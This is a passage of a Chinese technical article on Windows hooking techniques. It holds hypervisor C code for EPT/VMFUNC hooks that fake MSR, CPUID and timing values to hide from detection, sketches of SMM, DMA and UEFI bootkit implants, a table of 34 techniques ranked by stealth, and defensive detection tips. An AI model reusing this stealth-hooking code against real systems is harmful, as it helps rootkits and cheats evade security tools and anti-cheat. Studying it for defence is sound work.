hook->pEptPte->PhysicalAddress = hook->originalHpa >> 12;
entry = entry->Flink;
}
ULONG64 procCtls = __vmx_vmread(VMCS_PROC_BASED_CONTROLS);
__vmx_vmwrite(VMCS_PROC_BASED_CONTROLS, procCtls & ~VMX_PROC_CTL_MONITOR_TRAP_FLAG);
InveptSingleContext(vcpu->eptp);
}
void EnableVmfuncInVmcs() {
ULONG64 secondary = __vmx_vmread(VMCS_SECONDARY_PROC_BASED_CONTROLS);
secondary |= (1ULL << 13);
__vmx_vmwrite(VMCS_SECONDARY_PROC_BASED_CONTROLS, secondary);
__vmx_vmwrite(VMCS_VMFUNC_CONTROLS, 1ULL);
DECLSPEC_ALIGN(PAGE_SIZE) ULONG64 eptpList[512] = {0};
eptpList[0] = g_cleanEptp.Value;
eptpList[1] = g_hookedEptp.Value;
PHYSICAL_ADDRESS eptpListPhys = MmGetPhysicalAddress(eptpList);
__vmx_vmwrite(VMCS_EPTP_LIST_ADDRESS, eptpListPhys.QuadPart);
}
__forceinline void SwitchToHookView() {
__asm {
xor eax, eax
mov ecx, 1
_emit 0x0F
_emit 0x01
_emit 0xC4
}
}
__forceinline void SwitchToCleanView() {
__asm {
xor eax, eax
xor ecx, ecx
_emit 0x0F
_emit 0x01
_emit 0xC4
}
}
BYTE g_vmfuncTrampoline[] = {
0x31, 0xC0,
0x31, 0xC9,
0x0F, 0x01, 0xC4,
0xFF, 0x15, 0x02, 0x00, 0x00, 0x00,
0xEB, 0x08,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xC0,
0xB9, 0x01, 0x00, 0x00, 0x00,
0x0F, 0x01, 0xC4,
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
DECLSPEC_ALIGN(PAGE_SIZE) UCHAR g_msrBitmap[PAGE_SIZE] = {0};
void SetupMsrBitmap() {
RtlZeroMemory(g_msrBitmap, PAGE_SIZE);
g_msrBitmap[0x410] |= (1 << 2);
g_msrBitmap[0xC10] |= (1 << 2);
g_msrBitmap[0x3B] |= (1 << 1);
PHYSICAL_ADDRESS msrBitmapPhys = MmGetPhysicalAddress(g_msrBitmap);
__vmx_vmwrite(VMCS_MSR_BITMAP_ADDRESS, msrBitmapPhys.QuadPart);
}
void HandleMsrRead(PVMX_VCPU vcpu) {
ULONG msrIndex = (ULONG)vcpu->guestState.Rcx;
ULONG64 realValue;
switch (msrIndex) {
case 0xC0000082:
realValue = g_originalKiSystemCall64;
break;
case 0x1D9:
realValue = 0;
break;
default:
realValue = __readmsr(msrIndex);
break;
}
vcpu->guestState.Rax = (ULONG)(realValue & 0xFFFFFFFF);
vcpu->guestState.Rdx = (ULONG)(realValue >> 32);
AdvanceGuestRip(vcpu);
}
void HandleMsrWrite(PVMX_VCPU vcpu) {
ULONG msrIndex = (ULONG)vcpu->guestState.Rcx;
ULONG64 newValue = ((ULONG64)vcpu->guestState.Rdx << 32) | (vcpu->guestState.Rax & 0xFFFFFFFF);
switch (msrIndex) {
case 0xC0000082:
g_originalKiSystemCall64 = newValue;
__writemsr(msrIndex, newValue);
break;
default:
__writemsr(msrIndex, newValue);
break;
}
AdvanceGuestRip(vcpu);
}
void HandleCpuid(PVMX_VCPU vcpu) {
int cpuInfo[4];
__cpuidex(cpuInfo, (int)vcpu->guestState.Rax, (int)vcpu->guestState.Rcx);
ULONG leaf = (ULONG)vcpu->guestState.Rax;
switch (leaf) {
case 0x1:
cpuInfo[2] &= ~(1 << 31);
break;
case 0x40000000:
case 0x40000001:
case 0x40000002:
case 0x40000003:
case 0x40000004:
case 0x40000005:
case 0x40000006:
cpuInfo[0] = cpuInfo[1] = cpuInfo[2] = cpuInfo[3] = 0;
break;
case 0x0:
if (cpuInfo[0] > 0x20) cpuInfo[0] = 0x20;
break;
}
vcpu->guestState.Rax = cpuInfo[0];
vcpu->guestState.Rbx = cpuInfo[1];
vcpu->guestState.Rcx = cpuInfo[2];
vcpu->guestState.Rdx = cpuInfo[3];
AdvanceGuestRip(vcpu);
}
typedef struct _TSC_STATE {
ULONG64 lastExitTsc;
ULONG64 totalOffset;
} TSC_STATE;
TSC_STATE g_tscState[256] = {0};
void HandleVmExit(PVMX_VCPU vcpu) {
ULONG64 exitTsc = __rdtsc();
ULONG64 entryTsc = __rdtsc();
ULONG64 exitCost = entryTsc - exitTsc;
g_tscState[vcpu->cpuIndex].totalOffset += exitCost;
__vmx_vmwrite(VMCS_TSC_OFFSET, -(INT64)g_tscState[vcpu->cpuIndex].totalOffset);
}
void HandleRdtsc(PVMX_VCPU vcpu) {
ULONG64 tsc = __rdtsc() - g_tscState[vcpu->cpuIndex].totalOffset;
vcpu->guestState.Rax = (ULONG)(tsc & 0xFFFFFFFF);
vcpu->guestState.Rdx = (ULONG)(tsc >> 32);
AdvanceGuestRip(vcpu);
}
权限层级:
Ring 3 (User) < Ring 0 (Kernel) < Ring -1 (Hypervisor) < Ring -2 (SMM)
SMM 的超能力:
- 拥有独立的、不可被访问的内存(SMRAM)
- 可以任意修改任何 CPU 寄存器状态
- 执行期间所有中断被屏蔽
- 独立的代码空间,操作系统不可见/不可访问
- 从 SMRAM 返回时 CPU 恢复之前的状态,无法感知 SMM 曾执行
void SmmHookHandler(SMM_SAVE_STATE* saveState) {
ULONG64 kernelCr3 = saveState->Cr3;
ULONG64 guestRip = saveState->Rip;
PVOID targetPhysAddr = TranslateVaToPhys(kernelCr3, targetVa);
WritePhysicalMemory(targetPhysAddr, hookCode, hookSize);
}
void DmaHookInstall() {
PHYSICAL_ADDRESS ntBase = ScanForKernelBase();
PHYSICAL_ADDRESS targetFunc = FindFunctionBySignature(ntBase);
DmaWrite(targetFunc, hookCode, hookCodeSize);
PHYSICAL_ADDRESS pteAddr = CalculatePtePhysAddr(targetFunc);
DmaWrite(pteAddr, &modifiedPte, sizeof(MMPTE));
}
1. 获取 SPI Flash 写入权限(利用固件漏洞或物理访问)
2. 在 UEFI DXE 阶段植入恶意模块
3. 恶意模块在 OS 加载时注入代码到 Windows Boot Manager
4. Boot Manager 加载内核时注入代码到内核加载器
5. 加载的内核带有预装 Hook(此时 Secure Boot/PatchGuard 尚未初始化)
2001-2006 (XP 时代 - 无保护)
│ IAT/EAT Hook → Inline Hook → SSDT Hook → IDT Hook
│ → 没安全机制,想做什么做什么
│
2006-2012 (Vista/7 - PatchGuard 登场)
│ PatchGuard v1 出现 → SSDT/IDT Hook 阵亡
│ DKOM 兴起 → MSR Hook → PG 绕过混战
│ → 猫鼠游戏开始
│
2012-2015 (Win8/8.1 - DSE + PG 强化)
│ 驱动签名强制 → BYOVD 攻击兴起
│ Infinity Hook → Kernel Callback 大行其道
│ → 合法接口开始吃香
│
2015-2018 (Win10 - HVCI + VBS)
│ HVCI 禁止动态代码执行 → EPT Hook 崛起
│ PTE Base 随机化 → PTE Hook 难度上升
│ → 军备竞赛进入虚拟化时代
│
2018-2022 (鼎盛期)
│ EPT Hook 框架成熟(HyperHide、hvpp、SimpleSvm)
│ VMFUNC EPTP Switching 实用化
│ 反作弊开始部署 Hypervisor 检测
│ → 攻守双方对等博弈
│
2022-2026 (当前)
│ VBS + Credential Guard 全面部署
│ 虚拟化嵌套检测
│ 时序侧信道对抗
│ UEFI Rootkit 商业化(BlackLotus)
│ → 战场延伸到固件层
│
未来趋势:
│ Intel TDX / AMD SEV → 硬件强制隔离
│ ARM CCA (Confidential Compute Architecture)
│ 当硬件不再信任软件 → Hypervisor Hook 的末日?
从最容易被检测的用户态 Hook,到理论上无法被静态发现的 Hypervisor 级 Hook,按隐蔽性从低到高排列。每种技术均提供完整可编译的实现代码。
| 维度 |
普通 EPT Hook |
VMFUNC EPTP Switching |
| 视图切换方式 |
EPT Violation → VM-Exit |
VMFUNC 指令(无 VM-Exit) |
| 性能开销 |
每次切换 ~1000-3000 cycles |
~100 cycles |
| 时序攻击风险 |
有(VM-Exit 延迟可测量) |
极低(指令级速度) |
| CPU 要求 |
VT-x + EPT |
Haswell+ (2013+) |
| 复杂度 |
中等 |
高(需要维护多套 EPT) |
| # |
技术 |
层级 |
隐蔽性 |
PatchGuard |
修改目标代码 |
适用场景 |
| 1 |
IAT Hook |
Ring 3 |
★☆☆☆☆ |
N/A |
否(改表) |
最基础的用户态拦截 |
| 2 |
EAT Hook |
Ring 3 |
★☆☆☆☆ |
N/A |
否(改表) |
劫持动态获取的函数 |
| 3 |
Inline Hook |
Ring 3 |
★★☆☆☆ |
N/A |
是 |
通用函数 Hook |
| 4 |
VEH/HWBP Hook |
Ring 3 |
★★★☆☆ |
N/A |
否 |
反调试场景(4个限制) |
| 5 |
PAGE_GUARD Hook |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
概念性方案(性能极差) |
| 6 |
TLS Callback |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
早期初始化 Hook |
| 7 |
Hotpatch Hook |
Ring 3 |
★★☆☆☆ |
N/A |
部分 |
利用微软预留空间 |
| 8 |
Instrumentation Callback |
Ring 3 |
★★★☆☆ |
N/A |
否 |
全局 syscall 返回拦截 |
| 9 |
Syscall Stub Patch |
Ring 3 |
★★☆☆☆ |
N/A |
是 |
对抗直接 syscall |
| 10 |
SetWindowsHookEx |
Ring 3 |
★☆☆☆☆ |
N/A |
否 |
全局消息钩子 + DLL 注入 |
| 11 |
AppInit_DLLs |
Ring 3 |
★☆☆☆☆ |
N/A |
否 |
注册表全局 DLL 注入 |
| 12 |
IFEO |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
映像劫持 / Verifier 注入 |
| 13 |
IME 注入 |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
输入法 DLL 加载到 GUI 进程 |
| 14 |
Shim Engine |
Ring 3 |
★★★☆☆ |
N/A |
是(内存) |
SDB 内存补丁 / DLL 注入 |
| 15 |
COM Hijacking |
Ring 3 |
★★★☆☆ |
N/A |
否 |
注册表 COM 对象劫持 |
| 16 |
Winsock LSP |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
全局网络流量拦截 |
| 17 |
DLL Hijacking |
Ring 3 |
★★☆☆☆ |
N/A |
否 |
DLL 搜索顺序劫持 |
| 18 |
SSDT Hook |
Ring 0 |
★★☆☆☆ |
必杀 |
否(改表) |
XP/7 时代主流 |
| 19 |
IDT Hook |
Ring 0 |
★★☆☆☆ |
必杀 |
否(改表) |
拦截中断/异常 |
| 20 |
IRP Hook |
Ring 0 |
★★★☆☆ |
不直接 |
否(改指针) |
文件/设备过滤 |
| 21 |
DKOM |
Ring 0 |
★★★☆☆ |
部分检测 |
否(改链表) |
隐藏进程/驱动 |
| 22 |
MSR Hook |
Ring 0 |
★★☆☆☆ |
监控 |
否(改MSR) |
全局 syscall 拦截 |
| 23 |
GDT/Call Gate |
Ring 0 |
★★☆☆☆ |
监控 |
否(改描述符) |
Ring3→Ring0 跳板 |
| 24 |
Kernel Callback |
Ring 0 |
★☆☆☆☆ |
不触发 |
否 |
官方合法 API |
| 25 |
Infinity Hook |
Ring 0 |
★★★★☆ |
不触发 |
否(改ETW指针) |
绕 PG 拦截所有 syscall |
| 26 |
PG Bypass + Inline |
Ring 0 |
★★★☆☆ |
绕过 |
是 |
高风险但有效 |
| 27 |
WFP Callout |
Ring 0 |
★☆☆☆☆ |
不触发 |
否 |
网络数据包过滤 |
| 28 |
PTE Hook |
Ring 0 |
★★★★☆ |
部分检测 |
否(改PTE) |
代码页重定向 |
| 29 |
EPT Hook |
Ring -1 |
★★★★★ |
无效 |
否 |
终极内核 Hook |
| 30 |
VMFUNC EPTP Switch |
Ring -1 |
★★★★★+ |
无效 |
否 |
零 VM-Exit 视图切换 |
| 31 |
EPT + MSR Bitmap |
Ring -1 |
★★★★★ |
无效 |
否 |
代码+数据双伪装 |
| 32 |
SMM Hook |
Ring -2 |
★★★★★★ |
无效 |
固件级 |
固件级后门 |
| 33 |
DMA Attack |
硬件 |
★★★★★★ |
无效 |
物理级 |
外部设备直接改内存 |
| 34 |
UEFI Rootkit |
固件 |
★★★★★★ |
无效 |
固件级 |
持久化后门 |
- 只能 Hook 通过 IAT 调用的函数,GetProcAddress 动态获取的地址不经过 IAT
- 每个模块有独立的 IAT,需要逐一修改
- 任何内存扫描工具一眼就能看到
- 只对后续调用 GetProcAddress 的模块有效
- 已经缓存了函数地址的模块不受影响
- 同样是从内存修改,扫描即暴露
- 通用性最强,可以 Hook 任何函数
- 不管调用方式(IAT/EAT/动态获取)都能拦截
- Microsoft Detours 库提供了工业级实现
- 函数头部被直接修改,任何完整性校验都能发现
- 需要处理多线程竞态(Hook 安装瞬间其他线程正在执行目标函数)
- x64 绝对跳转指令长达 14 字节,可能覆盖多条原始指令
- 指令重定位是最复杂的部分,生产环境建议使用 Zydis/distorm
- 不修改目标函数的任何字节,完整性校验通过
- 但 Debug Registers 可以被读取(GetThreadContext)
- VEH 处理器可被枚举(NtQueryInformationProcess 或直接遍历 LdrpVectorHandlerList)
- 零字节修改,目标函数完全干净
- 硬件断点由 CPU 触发,不需要修改任何内存
- 硬件断点只有 4 个(DR0-DR3),最多同时 Hook 4 个地址
- 性能开销:每次触发需要进异常处理流程
- 反作弊可以清空 Debug Registers 或设置 ThreadHideFromDebugger
- 新创建的线程不会自动继承 DR 设置
- 不修改代码,但改变了页面属性
- VirtualQuery 可以发现页面有 PAGE_GUARD 标志
- 同页上其他函数的调用也会触发异常,性能极差
- 整个页面(4KB)内的任何访问都会触发异常
- 如果目标函数所在页被频繁访问,性能几乎不可用
- 实际场景中几乎不使用,仅作为概念验证
- PE 文件的 TLS Directory 可以被静态分析
- TLS Callback 数组的地址在 PE Header 中明确标注
- 但执行时机很早,某些检测机制可能还未初始化
- 在程序最早期安装 Hook(先于 CRT 初始化)
- 反调试(在调试器完全 attach 前检测)
- 配合 VEH Hook,在每个新线程上自动设置硬件断点
- Windows x64 系统函数不再使用 mov edi, edi 前导
- 主要适用于 32 位代码或旧版系统
- 现代 Windows 的 Hotpatch 机制已经完全不同(使用 /hotpatch 编译选项生成 2字节 NOP)
- 不修改任何函数代码
- 但可以通过 NtQueryInformationProcess 查询是否设置了 Instrumentation Callback
- 内核中 EPROCESS.InstrumentationCallback 字段直接可读
- 某些反作弊直接清零该字段
- 一次设置,拦截所有系统调用返回
- 不需要知道具体函数地址
- 纯用户态操作,不需要内核驱动
- 只能在 syscall 返回路径上拦截,无法拦截普通函数调用
- 防递归处理很关键(回调内的 syscall 会再次触发回调)
- 需要 SeDebugPrivilege 来设置其他进程的回调
- Windows XP/7 时代的内核 Hook 之王
- 几乎所有安全软件(杀毒/防火墙/HIPS)都用过
- Win8+ 之后被 PatchGuard 彻底封杀出历史舞台
- PatchGuard 不直接检测驱动的 MajorFunction 表
- 但安全软件可以对比驱动对象的 MajorFunction 指针是否指向该驱动的地址范围
- Minifilter 框架是官方替代方案,更难被检测
- 进程虽然从链表摘除,但通过 CID 表(PspCidTable)、线程调度队列仍可找到
- PatchGuard 会检查 PsActiveProcessHead 链表完整性
- 内存取证工具可以通过物理内存扫描 EPROCESS 的 Pool Tag 发现隐藏进程
- 威力无比——一个 Hook 拦截所有系统调用
- 但 PatchGuard 直接检查 IA32_LSTAR 值
- rdmsr 指令在 Ring 0 可以直接读取,非常容易检测
- 使用完全合法的 API,PatchGuard 不会干扰
- 但所有回调数组都可被枚举(PspCreateProcessNotifyRoutine 等)
- 发现未知模块注册的回调 = 可疑
- 这是安全软件最常用的方式
- 不修改 SSDT,不修改 MSR,不修改 IDT
- 只修改了 ETW 系统内部的一个函数指针
- PatchGuard 不监控该位置(不是关键结构)
- 但微软已在新版 Windows 中加固了某些 Infinity Hook 变种
- 安全软件可以通过检查 ETW 相关全局变量发现异常
- 绕过 PatchGuard
- 能拦截所有 syscall
- 性能开销小(ETW 日志本来就在关键路径上)
- 不需要复杂的 Hypervisor 支持
- 绕过 PatchGuard 后 Inline Hook 本身仍可通过代码完整性校验对比发现
- 时间窗口方案有风险:PG 的定时有随机性
- 是猫鼠游戏中的一个折中方案
- 完全合法的 API,所有安全软件都用这个
- 通过 FwpmFilterEnum/FwpmCalloutEnum 可以枚举所有注册的过滤器
- 需要签名驱动
- 不修改任何代码字节(从虚拟地址读取看到的还是原始内容?不一定,取决于实现方式)
- 单纯 PTE Hook 读和执行走同一个物理页,代码完整性校验会失败
- 但 PTE 条目的值被修改了,通过遍历页表可以发现 PFN 异常
- PatchGuard 不直接校验所有 PTE,但某些关键页面的 PTE 在监控范围内
- Windows 10 RS1+ 的 PTE base 随机化增加了定位难度
- 操作系统读取目标函数时,看到的是完全干净的原始代码
- PatchGuard 所有完整性校验读取都被 EPT 重定向到干净页
- CRC 校验、memcmp 对比、内存扫描全部通过
- 唯一理论检测方式:时序分析(EPT Violation 导致的微小延迟)
- 没有 VM-Exit,时序攻击基本无效
- CPUID 可以被拦截来隐藏 VMFUNC 支持
- 目前没有已知的可靠检测方法
- 检测工具用 rdmsr 读 IA32_LSTAR 看到的是假值
- 配合 EPT Hook,代码也看到是假的
- 双重伪装:代码伪装 + 数据伪装
- CPUID 看不到 Hypervisor
- TSC 差值测量看不到异常延迟
- 几乎无法通过软件手段检测
- SMRAM 对操作系统完全不可见
- CPU 在 SMM 期间外部不响应,没有时间线索暴露
- 即使 Hypervisor 也在 SMI 期间被暂停
- 唯一检测方式:硬件调试器(JTAG)、固件签名验证(Secure Boot)
- PCIe 恶意设备(伪装成网卡等)
- Thunderbolt 外接设备
- FireWire 设备(旧系统)
- 恶意 NIC 固件(如 Intel AMT 漏洞利用)
- IOMMU (VT-d / AMD-Vi):为 DMA 设备创建独立地址空间
- Kernel DMA Protection (Windows 10 1803+)
- Thunderbolt Security Level 设置
- LoJax (2018):第一个野外发现的 UEFI rootkit
- MosaicRegressor (2020):针对外交官的 UEFI 植入物
- CosmicStrand (2022):修改 UEFI 固件的持久化攻击
- BlackLotus (2023):绕过 Secure Boot 的 UEFI bootkit
- 重装系统无法清除
- 操作系统层面几乎不可检测
- 需要专用固件扫描工具(如 CHIPSEC、UEFI Toolkit)
- Secure Boot 可以阻止未签名固件(但有时也能被绕过)
- 用户态被拦 → 进内核
- 内核被 PatchGuard 监控 → 绕过 PatchGuard
- 内核结构都不能碰了 → 去 Hypervisor
- Hypervisor 被检测 → 去 SMM / UEFI
- 从磁盘重新映射一份干净 ntdll
- 直接从干净副本中提取 SSN
- 用自己的 syscall 汇编直接调用内核,完全绕过被 Hook 的 ntdll
- GetWindowsHookEx 枚举当前安装的全局钩子
- 检查进程中是否加载了非预期的 DLL
- 监控 SetWindowsHookEx 调用(通过 API Monitor 或 ETW)
- 低级钩子(WH_KEYBOARD_LL/WH_MOUSE_LL)不注入 DLL,但需要消息循环保持活跃
- 监控注册表键 AppInit_DLLs 和 LoadAppInit_DLLs 的变更
- 启用 Secure Boot + RequireSignedAppInit_DLLs 彻底阻止
- Process Monitor 观察 user32.dll 加载时的注册表查询
- 监控 IFEO 注册表键的创建和修改(Sysmon Event ID 12/13)
- 检查所有 IFEO 子键是否有 Debugger、VerifierDlls、MonitorProcess 等可疑值
- 应用白名单:仅允许已知调试器(如 vsjitdebugger.exe)作为 Debugger 值
- 枚举 Keyboard Layouts 注册表键,对比系统默认输入法列表
- 检查 IME DLL 是否有有效的数字签名
- 监控 imm32.dll 的 ImmInstallIME / LoadKeyboardLayout 调用
- TSF 注入检测:枚举 COM 注册的 Text Input Processor
- 枚举
HKLM\...\AppCompatFlags\InstalledSDB
- 检查
%windir%\AppPatch\Custom 目录
- 监控 sdbinst.exe 调用
- sdb2xml 反编译
- 对比 HKCU vs HKLM CLSID 键发现覆盖
- InprocServer32 DLL 签名验证
- Sysmon Event 12/13 监控 CLSID 修改
- 定期扫描 Abandoned COM Keys
- 使用 OleView 或 COM Hijack 检测工具审计
netsh winsock show catalog 查看已安装 LSP
- 扫描
Protocol_Catalog9 注册表异常 DLL
netsh winsock reset 重置(移除所有第三方 LSP)
- 现代系统应使用 WFP(内核级)替代
- 应用程序自身目录
- System32
- System(16位兼容)
- Windows 目录
- 当前工作目录(SafeDllSearchMode 开启时优先级降低)
- PATH 环境变量目录
- 对比模块加载路径与预期系统路径
- 扫描应用目录中与系统 DLL 同名的可疑文件
- DLL 数字签名验证(合法系统 DLL 都有微软签名)
- 启用
SafeDllSearchMode(默认开启)降低 CWD 搜索优先级
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 保护核心 DLL
- 使用 Process Monitor 观察 DLL 加载失败路径(NAME NOT FOUND)
只能 Hook 通过 IAT 调用的函数,GetProcAddress 动态获取的地址不经过 IAT每个模块有独立的 IAT,需要逐一修改任何内存扫描工具一眼就能看到只对后续调用 GetProcAddress 的模块有效已经缓存了函数地址的模块不受影响同样是从内存修改,扫描即暴露通用性最强,可以 Hook 任何函数
[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。